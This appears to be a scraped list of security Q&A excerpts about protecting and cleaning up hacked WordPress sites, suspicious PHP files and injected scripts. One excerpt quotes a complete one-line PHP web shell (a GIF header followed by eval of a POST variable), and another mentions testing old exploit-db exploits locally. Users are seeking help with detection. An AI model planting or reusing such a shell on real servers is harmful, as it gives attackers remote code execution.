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How can I protect a WordPress installation?

How do you go about protecting a default WordPress installation? What checklist do you use, best practices, tips and tricks, etc? Any recommendations on plugins, third-party tools are welcome.
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WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
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PHP malware/shell keeps resurrecting [duplicate]

So I've been fighting this problem for months now and decided that it's beyond my limited (if at all) server skills, and that I need help from the pros. I have a VPS (with root access) which hosts ...
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Wordpress Brute Force Attacker knows real admin Username -

I've noticed a brute force attempt on several different Wordpress installs that know the right admin user name for those respective sites... It seems very strange that the hacker would be able to ...
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Arbitrary file upload, serve JPG as PHP

I'm trying out random older WordPress exploits on my local server, I'm currently in the process trying to get this one to work: https://www.exploit-db.com/exploits/20083/ It doesn't read any ...
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What is this? Virus or scanner? [closed]

I found a new file in my WP root folder and contains this text: <?php ...
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What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
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PHP - Need help to understand injected code [duplicate]

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the ...
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Can I make my online server more secure using Docker?

I had my online web server ransacked, they got in through my hosted WordPress site and privilege escalated from there. I am wondering, if I put the WordPress in a Docker, would that go a decent way ...
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How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
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Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
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What is a good method to report security breaches that are being used to actively spam?

I received an email the other day purporting to be from a bank I hadn't even heard of, so I decided to poke around. On some quick investigation, it looks like something has just latched onto some poor ...
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Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
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WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...